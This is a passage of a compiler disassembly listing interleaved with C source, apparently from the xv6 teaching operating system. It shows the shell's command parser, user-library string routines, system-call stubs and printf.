729: 31 d2 xor %edx,%edx
72b: e8 af fc ff ff callq 3df <gettoken>
cmd = pipecmd(cmd, parsepipe(ps, es));
730: 4c 89 e6 mov %r12,%rsi
733: 48 89 df mov %rbx,%rdi
736: e8 b7 ff ff ff callq 6f2 <parsepipe>
}
return cmd;
}
73b: 59 pop %rcx
struct cmd *cmd;
cmd = parseexec(ps, es);
if(peek(ps, es, "|")){
gettoken(ps, es, 0, 0);
cmd = pipecmd(cmd, parsepipe(ps, es));
73c: 4c 89 ef mov %r13,%rdi
73f: 48 89 c6 mov %rax,%rsi
}
return cmd;
}
742: 5b pop %rbx
743: 41 5c pop %r12
745: 41 5d pop %r13
747: 5d pop %rbp
struct cmd *cmd;
cmd = parseexec(ps, es);
if(peek(ps, es, "|")){
gettoken(ps, es, 0, 0);
cmd = pipecmd(cmd, parsepipe(ps, es));
748: e9 d0 fb ff ff jmpq 31d <pipecmd>
}
return cmd;
}
74d: 5a pop %rdx
74e: 4c 89 e8 mov %r13,%rax
751: 5b pop %rbx
752: 41 5c pop %r12
754: 41 5d pop %r13
756: 5d pop %rbp
757: c3 retq
0000000000000758 <parseline>:
return cmd;
}
struct cmd*
parseline(char **ps, char *es)
{
758: 55 push %rbp
759: 48 89 e5 mov %rsp,%rbp
75c: 41 55 push %r13
75e: 41 54 push %r12
760: 53 push %rbx
761: 41 50 push %r8
763: 48 89 fb mov %rdi,%rbx
766: 49 89 f4 mov %rsi,%r12
struct cmd *cmd;
cmd = parsepipe(ps, es);
769: e8 84 ff ff ff callq 6f2 <parsepipe>
while(peek(ps, es, "&")){
76e: 48 c7 c2 a2 0f 00 00 mov $0xfa2,%rdx
775: 4c 89 e6 mov %r12,%rsi
778: 48 89 df mov %rbx,%rdi
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
77b: 49 89 c5 mov %rax,%r13
parseline(char **ps, char *es)
{
struct cmd *cmd;
cmd = parsepipe(ps, es);
while(peek(ps, es, "&")){
77e: e8 5f fd ff ff callq 4e2 <peek>
783: 85 c0 test %eax,%eax
785: 74 19 je 7a0 <parseline+0x48>
gettoken(ps, es, 0, 0);
787: 48 89 df mov %rbx,%rdi
78a: 31 c9 xor %ecx,%ecx
78c: 31 d2 xor %edx,%edx
78e: 4c 89 e6 mov %r12,%rsi
791: e8 49 fc ff ff callq 3df <gettoken>
cmd = backcmd(cmd);
796: 4c 89 ef mov %r13,%rdi
799: e8 09 fc ff ff callq 3a7 <backcmd>
79e: eb ce jmp 76e <parseline+0x16>
}
if(peek(ps, es, ";")){
7a0: 48 c7 c2 9e 0f 00 00 mov $0xf9e,%rdx
7a7: 4c 89 e6 mov %r12,%rsi
7aa: 48 89 df mov %rbx,%rdi
7ad: e8 30 fd ff ff callq 4e2 <peek>
7b2: 85 c0 test %eax,%eax
7b4: 74 2c je 7e2 <parseline+0x8a>
gettoken(ps, es, 0, 0);
7b6: 31 c9 xor %ecx,%ecx
7b8: 4c 89 e6 mov %r12,%rsi
7bb: 48 89 df mov %rbx,%rdi
7be: 31 d2 xor %edx,%edx
7c0: e8 1a fc ff ff callq 3df <gettoken>
cmd = listcmd(cmd, parseline(ps, es));
7c5: 4c 89 e6 mov %r12,%rsi
7c8: 48 89 df mov %rbx,%rdi
7cb: e8 88 ff ff ff callq 758 <parseline>
}
return cmd;
}
7d0: 59 pop %rcx
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
gettoken(ps, es, 0, 0);
cmd = listcmd(cmd, parseline(ps, es));
7d1: 4c 89 ef mov %r13,%rdi
7d4: 48 89 c6 mov %rax,%rsi
}
return cmd;
}
7d7: 5b pop %rbx
7d8: 41 5c pop %r12
7da: 41 5d pop %r13
7dc: 5d pop %rbp
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
gettoken(ps, es, 0, 0);
cmd = listcmd(cmd, parseline(ps, es));
7dd: e9 80 fb ff ff jmpq 362 <listcmd>
}
return cmd;
}
7e2: 5a pop %rdx
7e3: 4c 89 e8 mov %r13,%rax
7e6: 5b pop %rbx
7e7: 41 5c pop %r12
7e9: 41 5d pop %r13
7eb: 5d pop %rbp
7ec: c3 retq
00000000000007ed <parseblock>:
return cmd;
}
struct cmd*
parseblock(char **ps, char *es)
{
7ed: 55 push %rbp
7ee: 48 89 e5 mov %rsp,%rbp
7f1: 41 55 push %r13
7f3: 41 54 push %r12
7f5: 53 push %rbx
7f6: 52 push %rdx
struct cmd *cmd;
if(!peek(ps, es, "("))
7f7: 48 c7 c2 84 0f 00 00 mov $0xf84,%rdx
return cmd;
}
struct cmd*
parseblock(char **ps, char *es)
{
7fe: 48 89 fb mov %rdi,%rbx
801: 49 89 f4 mov %rsi,%r12
struct cmd *cmd;
if(!peek(ps, es, "("))
804: e8 d9 fc ff ff callq 4e2 <peek>
809: 85 c0 test %eax,%eax
panic("parseblock");
80b: 48 c7 c7 a4 0f 00 00 mov $0xfa4,%rdi
struct cmd*
parseblock(char **ps, char *es)
{
struct cmd *cmd;
if(!peek(ps, es, "("))
812: 74 3a je 84e <parseblock+0x61>
panic("parseblock");
gettoken(ps, es, 0, 0);
814: 31 c9 xor %ecx,%ecx
816: 31 d2 xor %edx,%edx
818: 4c 89 e6 mov %r12,%rsi
81b: 48 89 df mov %rbx,%rdi
81e: e8 bc fb ff ff callq 3df <gettoken>
cmd = parseline(ps, es);
823: 4c 89 e6 mov %r12,%rsi
826: 48 89 df mov %rbx,%rdi
829: e8 2a ff ff ff callq 758 <parseline>
if(!peek(ps, es, ")"))
82e: 48 c7 c2 c0 0f 00 00 mov $0xfc0,%rdx
835: 4c 89 e6 mov %r12,%rsi
838: 48 89 df mov %rbx,%rdi
struct cmd *cmd;
if(!peek(ps, es, "("))
panic("parseblock");
gettoken(ps, es, 0, 0);
cmd = parseline(ps, es);
83b: 49 89 c5 mov %rax,%r13
if(!peek(ps, es, ")"))
83e: e8 9f fc ff ff callq 4e2 <peek>
843: 85 c0 test %eax,%eax
845: 75 0c jne 853 <parseblock+0x66>
panic("syntax - missing )");
847: 48 c7 c7 af 0f 00 00 mov $0xfaf,%rdi
84e: e8 b5 f8 ff ff callq 108 <panic>
gettoken(ps, es, 0, 0);
853: 4c 89 e6 mov %r12,%rsi
856: 48 89 df mov %rbx,%rdi
859: 31 d2 xor %edx,%edx
85b: 31 c9 xor %ecx,%ecx
85d: e8 7d fb ff ff callq 3df <gettoken>
cmd = parseredirs(cmd, ps, es);
return cmd;
}
862: 58 pop %rax
gettoken(ps, es, 0, 0);
cmd = parseline(ps, es);
if(!peek(ps, es, ")"))
panic("syntax - missing )");
gettoken(ps, es, 0, 0);
cmd = parseredirs(cmd, ps, es);
863: 4c 89 e2 mov %r12,%rdx
866: 48 89 de mov %rbx,%rsi
869: 4c 89 ef mov %r13,%rdi
return cmd;
}
86c: 5b pop %rbx
86d: 41 5c pop %r12
86f: 41 5d pop %r13
871: 5d pop %rbp
gettoken(ps, es, 0, 0);
cmd = parseline(ps, es);
if(!peek(ps, es, ")"))
panic("syntax - missing )");
gettoken(ps, es, 0, 0);
cmd = parseredirs(cmd, ps, es);
872: e9 ca fc ff ff jmpq 541 <parseredirs>
0000000000000877 <nulterminate>:
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
return 0;
877: 31 c0 xor %eax,%eax
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
879: 48 85 ff test %rdi,%rdi
87c: 74 65 je 8e3 <nulterminate+0x6c>
return 0;
switch(cmd->type){
87e: 8b 07 mov (%rdi),%eax
880: 8d 50 ff lea -0x1(%rax),%edx
883: 48 89 f8 mov %rdi,%rax
886: 83 fa 04 cmp $0x4,%edx
889: 77 58 ja 8e3 <nulterminate+0x6c>
}
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
88b: 55 push %rbp
88c: 48 89 e5 mov %rsp,%rbp
88f: 53 push %rbx
890: 48 89 fb mov %rdi,%rbx
893: 51 push %rcx
struct redircmd *rcmd;
if(cmd == 0)
return 0;
switch(cmd->type){
894: ff 24 d5 10 10 00 00 jmpq *0x1010(,%rdx,8)
89b: 48 8d 47 08 lea 0x8(%rdi),%rax
89f: 48 83 c0 08 add $0x8,%rax
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
8a3: 48 83 78 f8 00 cmpq $0x0,-0x8(%rax)
8a8: 74 33 je 8dd <nulterminate+0x66>
*ecmd->eargv[i] = 0;
8aa: 48 8b 50 48 mov 0x48(%rax),%rdx
8ae: c6 02 00 movb $0x0,(%rdx)
8b1: eb ec jmp 89f <nulterminate+0x28>
break;
case REDIR:
rcmd = (struct redircmd*)cmd;
nulterminate(rcmd->cmd);
8b3: 48 8b 7f 08 mov 0x8(%rdi),%rdi
8b7: e8 bb ff ff ff callq 877 <nulterminate>
*rcmd->efile = 0;
8bc: 48 8b 43 18 mov 0x18(%rbx),%rax
8c0: c6 00 00 movb $0x0,(%rax)
8c3: eb 18 jmp 8dd <nulterminate+0x66>
nulterminate(pcmd->right);
break;
case LIST:
lcmd = (struct listcmd*)cmd;
nulterminate(lcmd->left);
8c5: 48 8b 7f 08 mov 0x8(%rdi),%rdi
8c9: e8 a9 ff ff ff callq 877 <nulterminate>
nulterminate(lcmd->right);
8ce: 48 8b 7b 10 mov 0x10(%rbx),%rdi
8d2: eb 04 jmp 8d8 <nulterminate+0x61>
break;
case BACK:
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
8d4: 48 8b 7f 08 mov 0x8(%rdi),%rdi
8d8: e8 9a ff ff ff callq 877 <nulterminate>
break;
8dd: 48 89 d8 mov %rbx,%rax
}
return cmd;
}
8e0: 5a pop %rdx
8e1: 5b pop %rbx
8e2: 5d pop %rbp
8e3: c3 retq
00000000000008e4 <parsecmd>:
struct cmd *parseexec(char**, char*);
struct cmd *nulterminate(struct cmd*);
struct cmd*
parsecmd(char *s)
{
8e4: 55 push %rbp
8e5: 48 89 e5 mov %rsp,%rbp
8e8: 41 54 push %r12
8ea: 53 push %rbx
8eb: 48 89 fb mov %rdi,%rbx
8ee: 48 83 ec 10 sub $0x10,%rsp
8f2: 48 89 7d e8 mov %rdi,-0x18(%rbp)
char *es;
struct cmd *cmd;
es = s + strlen(s);
8f6: e8 97 00 00 00 callq 992 <strlen>
8fb: 89 c0 mov %eax,%eax
cmd = parseline(&s, es);
8fd: 48 8d 7d e8 lea -0x18(%rbp),%rdi
parsecmd(char *s)
{
char *es;
struct cmd *cmd;
es = s + strlen(s);
901: 48 01 c3 add %rax,%rbx
cmd = parseline(&s, es);
904: 48 89 de mov %rbx,%rsi
907: e8 4c fe ff ff callq 758 <parseline>
peek(&s, es, "");
90c: 48 8d 7d e8 lea -0x18(%rbp),%rdi
910: 48 c7 c2 4e 0f 00 00 mov $0xf4e,%rdx
917: 48 89 de mov %rbx,%rsi
{
char *es;
struct cmd *cmd;
es = s + strlen(s);
cmd = parseline(&s, es);
91a: 49 89 c4 mov %rax,%r12
peek(&s, es, "");
91d: e8 c0 fb ff ff callq 4e2 <peek>
if(s != es){
922: 48 8b 55 e8 mov -0x18(%rbp),%rdx
926: 48 39 d3 cmp %rdx,%rbx
929: 74 1f je 94a <parsecmd+0x66>
printf(2, "leftovers: %s\n", s);
92b: bf 02 00 00 00 mov $0x2,%edi
930: 48 c7 c6 c2 0f 00 00 mov $0xfc2,%rsi
937: 31 c0 xor %eax,%eax
939: e8 b6 02 00 00 callq bf4 <printf>
panic("syntax");
93e: 48 c7 c7 86 0f 00 00 mov $0xf86,%rdi
945: e8 be f7 ff ff callq 108 <panic>
}
nulterminate(cmd);
94a: 4c 89 e7 mov %r12,%rdi
94d: e8 25 ff ff ff callq 877 <nulterminate>
return cmd;
}
952: 5a pop %rdx
953: 4c 89 e0 mov %r12,%rax
956: 59 pop %rcx
957: 5b pop %rbx
958: 41 5c pop %r12
95a: 5d pop %rbp
95b: c3 retq
000000000000095c <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
95c: 55 push %rbp
95d: 48 89 f8 mov %rdi,%rax
char *os;
os = s;
while((*s++ = *t++) != 0)
960: 31 d2 xor %edx,%edx
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
962: 48 89 e5 mov %rsp,%rbp
char *os;
os = s;
while((*s++ = *t++) != 0)
965: 8a 0c 16 mov (%rsi,%rdx,1),%cl
968: 88 0c 10 mov %cl,(%rax,%rdx,1)
96b: 48 ff c2 inc %rdx
96e: 84 c9 test %cl,%cl
970: 75 f3 jne 965 <strcpy+0x9>
;
return os;
}
972: 5d pop %rbp
973: c3 retq
0000000000000974 <strcmp>:
int
strcmp(const char *p, const char *q)
{
974: 55 push %rbp
975: 48 89 e5 mov %rsp,%rbp
while(*p && *p == *q)
978: 0f b6 07 movzbl (%rdi),%eax
97b: 84 c0 test %al,%al
97d: 74 0c je 98b <strcmp+0x17>
97f: 3a 06 cmp (%rsi),%al
981: 75 08 jne 98b <strcmp+0x17>
p++, q++;
983: 48 ff c7 inc %rdi
986: 48 ff c6 inc %rsi
989: eb ed jmp 978 <strcmp+0x4>
return (uchar)*p - (uchar)*q;
98b: 0f b6 16 movzbl (%rsi),%edx
}
98e: 5d pop %rbp
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
p++, q++;
return (uchar)*p - (uchar)*q;
98f: 29 d0 sub %edx,%eax
}
991: c3 retq
0000000000000992 <strlen>:
uint
strlen(const char *s)
{
992: 55 push %rbp
int n;
for(n = 0; s[n]; n++)
993: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
}
uint
strlen(const char *s)
{
995: 48 89 e5 mov %rsp,%rbp
998: 48 8d 50 01 lea 0x1(%rax),%rdx
int n;
for(n = 0; s[n]; n++)
99c: 80 7c 17 ff 00 cmpb $0x0,-0x1(%rdi,%rdx,1)
9a1: 74 05 je 9a8 <strlen+0x16>
9a3: 48 89 d0 mov %rdx,%rax
9a6: eb f0 jmp 998 <strlen+0x6>
;
return n;
}
9a8: 5d pop %rbp
9a9: c3 retq
00000000000009aa <memset>:
void*
memset(void *dst, int c, uint n)
{
9aa: 55 push %rbp
9ab: 49 89 f8 mov %rdi,%r8
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
9ae: 89 d1 mov %edx,%ecx
9b0: 89 f0 mov %esi,%eax
9b2: 48 89 e5 mov %rsp,%rbp
9b5: fc cld
9b6: f3 aa rep stos %al,%es:(%rdi)
stosb(dst, c, n);
return dst;
}
9b8: 4c 89 c0 mov %r8,%rax
9bb: 5d pop %rbp
9bc: c3 retq
00000000000009bd <strchr>:
char*
strchr(const char *s, char c)
{
9bd: 55 push %rbp
9be: 48 89 e5 mov %rsp,%rbp
for(; *s; s++)
9c1: 8a 07 mov (%rdi),%al
9c3: 84 c0 test %al,%al
9c5: 74 0a je 9d1 <strchr+0x14>
if(*s == c)
9c7: 40 38 f0 cmp %sil,%al
9ca: 74 09 je 9d5 <strchr+0x18>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
9cc: 48 ff c7 inc %rdi
9cf: eb f0 jmp 9c1 <strchr+0x4>
if(*s == c)
return (char*)s;
return 0;
9d1: 31 c0 xor %eax,%eax
9d3: eb 03 jmp 9d8 <strchr+0x1b>
9d5: 48 89 f8 mov %rdi,%rax
}
9d8: 5d pop %rbp
9d9: c3 retq
00000000000009da <gets>:
char*
gets(char *buf, int max)
{
9da: 55 push %rbp
9db: 48 89 e5 mov %rsp,%rbp
9de: 41 57 push %r15
9e0: 41 56 push %r14
9e2: 41 55 push %r13
9e4: 41 54 push %r12
9e6: 41 89 f7 mov %esi,%r15d
9e9: 53 push %rbx
9ea: 49 89 fc mov %rdi,%r12
9ed: 49 89 fe mov %rdi,%r14
int i, cc;
char c;
for(i=0; i+1 < max; ){
9f0: 31 db xor %ebx,%ebx
return 0;
}
char*
gets(char *buf, int max)
{
9f2: 48 83 ec 18 sub $0x18,%rsp
int i, cc;
char c;
for(i=0; i+1 < max; ){
9f6: 44 8d 6b 01 lea 0x1(%rbx),%r13d
9fa: 45 39 fd cmp %r15d,%r13d
9fd: 7d 2c jge a2b <gets+0x51>
cc = read(0, &c, 1);
9ff: 48 8d 75 cf lea -0x31(%rbp),%rsi
a03: 31 ff xor %edi,%edi
a05: ba 01 00 00 00 mov $0x1,%edx
a0a: e8 ca 00 00 00 callq ad9 <read>
if(cc < 1)
a0f: 85 c0 test %eax,%eax
a11: 7e 18 jle a2b <gets+0x51>
break;
buf[i++] = c;
a13: 8a 45 cf mov -0x31(%rbp),%al
a16: 49 ff c6 inc %r14
a19: 49 63 dd movslq %r13d,%rbx
a1c: 41 88 46 ff mov %al,-0x1(%r14)
if(c == '\n' || c == '\r')
a20: 3c 0a cmp $0xa,%al
a22: 74 04 je a28 <gets+0x4e>
a24: 3c 0d cmp $0xd,%al
a26: 75 ce jne 9f6 <gets+0x1c>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
a28: 49 63 dd movslq %r13d,%rbx
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
a2b: 41 c6 04 1c 00 movb $0x0,(%r12,%rbx,1)
return buf;
}
a30: 48 83 c4 18 add $0x18,%rsp
a34: 4c 89 e0 mov %r12,%rax
a37: 5b pop %rbx
a38: 41 5c pop %r12
a3a: 41 5d pop %r13
a3c: 41 5e pop %r14
a3e: 41 5f pop %r15
a40: 5d pop %rbp
a41: c3 retq
0000000000000a42 <stat>:
int
stat(const char *n, struct stat *st)
{
a42: 55 push %rbp
a43: 48 89 e5 mov %rsp,%rbp
a46: 41 54 push %r12
a48: 53 push %rbx
a49: 48 89 f3 mov %rsi,%rbx
int fd;
int r;
fd = open(n, O_RDONLY);
a4c: 31 f6 xor %esi,%esi
a4e: e8 ae 00 00 00 callq b01 <open>
a53: 41 89 c4 mov %eax,%r12d
a56: 83 c8 ff or $0xffffffff,%eax
if(fd < 0)
a59: 45 85 e4 test %r12d,%r12d
a5c: 78 17 js a75 <stat+0x33>
return -1;
r = fstat(fd, st);
a5e: 48 89 de mov %rbx,%rsi
a61: 44 89 e7 mov %r12d,%edi
a64: e8 b0 00 00 00 callq b19 <fstat>
close(fd);
a69: 44 89 e7 mov %r12d,%edi
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
a6c: 89 c3 mov %eax,%ebx
close(fd);
a6e: e8 76 00 00 00 callq ae9 <close>
return r;
a73: 89 d8 mov %ebx,%eax
}
a75: 5b pop %rbx
a76: 41 5c pop %r12
a78: 5d pop %rbp
a79: c3 retq
0000000000000a7a <atoi>:
int
atoi(const char *s)
{
a7a: 55 push %rbp
int n;
n = 0;
a7b: 31 c0 xor %eax,%eax
return r;
}
int
atoi(const char *s)
{
a7d: 48 89 e5 mov %rsp,%rbp
int n;
n = 0;
while('0' <= *s && *s <= '9')
a80: 0f be 17 movsbl (%rdi),%edx
a83: 8d 4a d0 lea -0x30(%rdx),%ecx
a86: 80 f9 09 cmp $0x9,%cl
a89: 77 0c ja a97 <atoi+0x1d>
n = n*10 + *s++ - '0';
a8b: 6b c0 0a imul $0xa,%eax,%eax
a8e: 48 ff c7 inc %rdi
a91: 8d 44 10 d0 lea -0x30(%rax,%rdx,1),%eax
a95: eb e9 jmp a80 <atoi+0x6>
return n;
}
a97: 5d pop %rbp
a98: c3 retq
0000000000000a99 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
a99: 55 push %rbp
a9a: 48 89 f8 mov %rdi,%rax
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
a9d: 31 c9 xor %ecx,%ecx
return n;
}
void*
memmove(void *vdst, const void *vsrc, int n)
{
a9f: 48 89 e5 mov %rsp,%rbp
aa2: 89 d7 mov %edx,%edi
aa4: 29 cf sub %ecx,%edi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
aa6: 85 ff test %edi,%edi
aa8: 7e 0d jle ab7 <memmove+0x1e>
*dst++ = *src++;
aaa: 40 8a 3c 0e mov (%rsi,%rcx,1),%dil
aae: 40 88 3c 08 mov %dil,(%rax,%rcx,1)
ab2: 48 ff c1 inc %rcx
ab5: eb eb jmp aa2 <memmove+0x9>
return vdst;
}
ab7: 5d pop %rbp
ab8: c3 retq
0000000000000ab9 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
ab9: b8 01 00 00 00 mov $0x1,%eax
abe: cd 40 int $0x40
ac0: c3 retq
0000000000000ac1 <exit>:
SYSCALL(exit)
ac1: b8 02 00 00 00 mov $0x2,%eax
ac6: cd 40 int $0x40
ac8: c3 retq
0000000000000ac9 <wait>:
SYSCALL(wait)
ac9: b8 03 00 00 00 mov $0x3,%eax
ace: cd 40 int $0x40
ad0: c3 retq
0000000000000ad1 <pipe>:
SYSCALL(pipe)
ad1: b8 04 00 00 00 mov $0x4,%eax
ad6: cd 40 int $0x40
ad8: c3 retq
0000000000000ad9 <read>:
SYSCALL(read)
ad9: b8 05 00 00 00 mov $0x5,%eax
ade: cd 40 int $0x40
ae0: c3 retq
0000000000000ae1 <write>:
SYSCALL(write)
ae1: b8 10 00 00 00 mov $0x10,%eax
ae6: cd 40 int $0x40
ae8: c3 retq
0000000000000ae9 <close>:
SYSCALL(close)
ae9: b8 15 00 00 00 mov $0x15,%eax
aee: cd 40 int $0x40
af0: c3 retq
0000000000000af1 <kill>:
SYSCALL(kill)
af1: b8 06 00 00 00 mov $0x6,%eax
af6: cd 40 int $0x40
af8: c3 retq
0000000000000af9 <exec>:
SYSCALL(exec)
af9: b8 07 00 00 00 mov $0x7,%eax
afe: cd 40 int $0x40
b00: c3 retq
0000000000000b01 <open>:
SYSCALL(open)
b01: b8 0f 00 00 00 mov $0xf,%eax
b06: cd 40 int $0x40
b08: c3 retq
0000000000000b09 <mknod>:
SYSCALL(mknod)
b09: b8 11 00 00 00 mov $0x11,%eax
b0e: cd 40 int $0x40
b10: c3 retq
0000000000000b11 <unlink>:
SYSCALL(unlink)
b11: b8 12 00 00 00 mov $0x12,%eax
b16: cd 40 int $0x40
b18: c3 retq
0000000000000b19 <fstat>:
SYSCALL(fstat)
b19: b8 08 00 00 00 mov $0x8,%eax
b1e: cd 40 int $0x40
b20: c3 retq
0000000000000b21 <link>:
SYSCALL(link)
b21: b8 13 00 00 00 mov $0x13,%eax
b26: cd 40 int $0x40
b28: c3 retq
0000000000000b29 <mkdir>:
SYSCALL(mkdir)
b29: b8 14 00 00 00 mov $0x14,%eax
b2e: cd 40 int $0x40
b30: c3 retq
0000000000000b31 <chdir>:
SYSCALL(chdir)
b31: b8 09 00 00 00 mov $0x9,%eax
b36: cd 40 int $0x40
b38: c3 retq
0000000000000b39 <dup>:
SYSCALL(dup)
b39: b8 0a 00 00 00 mov $0xa,%eax
b3e: cd 40 int $0x40
b40: c3 retq
0000000000000b41 <getpid>:
SYSCALL(getpid)
b41: b8 0b 00 00 00 mov $0xb,%eax
b46: cd 40 int $0x40
b48: c3 retq
0000000000000b49 <sbrk>:
SYSCALL(sbrk)
b49: b8 0c 00 00 00 mov $0xc,%eax
b4e: cd 40 int $0x40
b50: c3 retq
0000000000000b51 <sleep>:
SYSCALL(sleep)
b51: b8 0d 00 00 00 mov $0xd,%eax
b56: cd 40 int $0x40
b58: c3 retq
0000000000000b59 <uptime>:
SYSCALL(uptime)
b59: b8 0e 00 00 00 mov $0xe,%eax
b5e: cd 40 int $0x40
b60: c3 retq
0000000000000b61 <chmod>:
SYSCALL(chmod)
b61: b8 16 00 00 00 mov $0x16,%eax
b66: cd 40 int $0x40
b68: c3 retq
0000000000000b69 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
b69: 55 push %rbp
b6a: 41 89 d0 mov %edx,%r8d
b6d: 48 89 e5 mov %rsp,%rbp
b70: 41 54 push %r12
b72: 53 push %rbx
b73: 41 89 fc mov %edi,%r12d
b76: 48 83 ec 20 sub $0x20,%rsp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
b7a: 85 c9 test %ecx,%ecx
b7c: 74 12 je b90 <printint+0x27>
b7e: 89 f0 mov %esi,%eax
b80: c1 e8 1f shr $0x1f,%eax
b83: 74 0b je b90 <printint+0x27>
neg = 1;
x = -xx;
b85: 89 f0 mov %esi,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
b87: be 01 00 00 00 mov $0x1,%esi
x = -xx;
b8c: f7 d8 neg %eax
b8e: eb 04 jmp b94 <printint+0x2b>
} else {
x = xx;
b90: 89 f0 mov %esi,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
b92: 31 f6 xor %esi,%esi
b94: 48 8d 7d e0 lea -0x20(%rbp),%rdi
x = -xx;
} else {
x = xx;
}
i = 0;
b98: 31 c9 xor %ecx,%ecx
do{
buf[i++] = digits[x % base];
b9a: 31 d2 xor %edx,%edx
b9c: 48 ff c7 inc %rdi
b9f: 8d 59 01 lea 0x1(%rcx),%ebx
ba2: 41 f7 f0 div %r8d
ba5: 89 d2 mov %edx,%edx
ba7: 8a 92 40 10 00 00 mov 0x1040(%rdx),%dl
bad: 88 57 ff mov %dl,-0x1(%rdi)
}while((x /= base) != 0);
bb0: 85 c0 test %eax,%eax
bb2: 74 04 je bb8 <printint+0x4f>
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
bb4: 89 d9 mov %ebx,%ecx
bb6: eb e2 jmp b9a <printint+0x31>
}while((x /= base) != 0);
if(neg)
bb8: 85 f6 test %esi,%esi
bba: 74 0b je bc7 <printint+0x5e>
buf[i++] = '-';
bbc: 48 63 db movslq %ebx,%rbx
bbf: c6 44 1d e0 2d movb $0x2d,-0x20(%rbp,%rbx,1)
bc4: 8d 59 02 lea 0x2(%rcx),%ebx
while(--i >= 0)
bc7: ff cb dec %ebx
bc9: 83 fb ff cmp $0xffffffff,%ebx
bcc: 74 1d je beb <printint+0x82>
putc(fd, buf[i]);
bce: 48 63 c3 movslq %ebx,%rax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
bd1: 48 8d 75 df lea -0x21(%rbp),%rsi
bd5: ba 01 00 00 00 mov $0x1,%edx
bda: 8a 44 05 e0 mov -0x20(%rbp,%rax,1),%al
bde: 44 89 e7 mov %r12d,%edi
be1: 88 45 df mov %al,-0x21(%rbp)
be4: e8 f8 fe ff ff callq ae1 <write>
be9: eb dc jmp bc7 <printint+0x5e>
if(neg)
buf[i++] = '-';
while(--i >= 0)
putc(fd, buf[i]);
}
beb: 48 83 c4 20 add $0x20,%rsp
bef: 5b pop %rbx
bf0: 41 5c pop %r12
bf2: 5d pop %rbp
bf3: c3 retq
0000000000000bf4 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
bf4: 55 push %rbp
bf5: 48 89 e5 mov %rsp,%rbp
bf8: 41 56 push %r14
bfa: 41 55 push %r13
va_list ap;
char *s;
int c, i, state;
va_start(ap, fmt);
bfc: 48 8d 45 10 lea 0x10(%rbp),%rax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
c00: 41 54 push %r12
c02: 53 push %rbx
c03: 41 89 fc mov %edi,%r12d
c06: 49 89 f6 mov %rsi,%r14
va_list ap;
char *s;
int c, i, state;
va_start(ap, fmt);
state = 0;
c09: 31 db xor %ebx,%ebx
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
c0b: 48 83 ec 50 sub $0x50,%rsp
va_list ap;
char *s;
int c, i, state;
va_start(ap, fmt);
c0f: 48 89 45 a0 mov %rax,-0x60(%rbp)
c13: 48 8d 45 b0 lea -0x50(%rbp),%rax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
c17: 48 89 55 c0 mov %rdx,-0x40(%rbp)
c1b: 48 89 4d c8 mov %rcx,-0x38(%rbp)
c1f: 4c 89 45 d0 mov %r8,-0x30(%rbp)
c23: 4c 89 4d d8 mov %r9,-0x28(%rbp)
va_list ap;
char *s;
int c, i, state;
va_start(ap, fmt);
c27: c7 45 98 10 00 00 00 movl $0x10,-0x68(%rbp)
c2e: 48 89 45 a8 mov %rax,-0x58(%rbp)
state = 0;
for(i = 0; fmt[i]; i++){
c32: 45 8a 2e mov (%r14),%r13b
c35: 45 84 ed test %r13b,%r13b
c38: 0f 84 8f 01 00 00 je dcd <printf+0x1d9>
c = fmt[i] & 0xff;
if(state == 0){
c3e: 85 db test %ebx,%ebx
int c, i, state;
va_start(ap, fmt);
state = 0;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
c40: 41 0f be d5 movsbl %r13b,%edx
c44: 41 0f b6 c5 movzbl %r13b,%eax
if(state == 0){
c48: 75 23 jne c6d <printf+0x79>
if(c == '%'){
c4a: 83 f8 25 cmp $0x25,%eax
c4d: 0f 84 6d 01 00 00 je dc0 <printf+0x1cc>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
c53: 48 8d 75 92 lea -0x6e(%rbp),%rsi
c57: ba 01 00 00 00 mov $0x1,%edx
c5c: 44 89 e7 mov %r12d,%edi
c5f: 44 88 6d 92 mov %r13b,-0x6e(%rbp)
c63: e8 79 fe ff ff callq ae1 <write>
